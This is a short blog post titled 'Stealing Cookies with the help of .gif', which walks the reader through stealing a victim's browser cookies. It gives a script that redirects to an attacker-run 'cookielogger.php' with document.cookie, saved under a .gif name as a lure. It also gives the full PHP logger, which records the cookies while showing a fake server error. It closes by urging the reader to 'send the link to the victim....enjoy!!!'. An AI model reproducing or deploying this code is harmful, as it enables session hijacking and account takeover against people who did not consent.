Sunday 1 July 2012

Stealing Cookies with the help of ".gif"

To steal cookies of a browser using ".gif" we have to follow the following steps one by one :-

  1. In a notepad copy the script given below
    <script>location.href='http://www.yoursite.com/cookielogger.php?cookie'+escape(document.cookie)</SCRIPT>
    {yoursite-my3gb}and save it as fun.gif
  2. Now open a new notepad and copy the following
    <?php
    $filename = "logfile.txt";
    if (isset($_GET["cookie"]))
    {
    if (!$handle = fopen($filename, 'a'))
    {
    echo "Temporary Server Error,Sorry for the inconvenience.";
    exit;
    }
    else
    {
    if (fwrite($handle, "\r\n" . $_GET["cookie"]) === FALSE)
    {
    echo "Temporary Server Error,Sorry for the inconvenience.";
    exit;
    }
    }
    echo "Temporary Server Error,Sorry for the inconvenience.";
    fclose($handle);
    exit;
    }
    echo "Temporary Server Error,Sorry for the inconvenience.";
    exit;
    ?>
    Save it as cookielogger.php
        
        Now save a blank notepad as logfile.txt

    Now upload all the 3 files to your webhosting site and send the link to the victim....enjoy!!!

No comments:

Post a Comment

LinkWithin

Related Posts Plugin for WordPress, Blogger...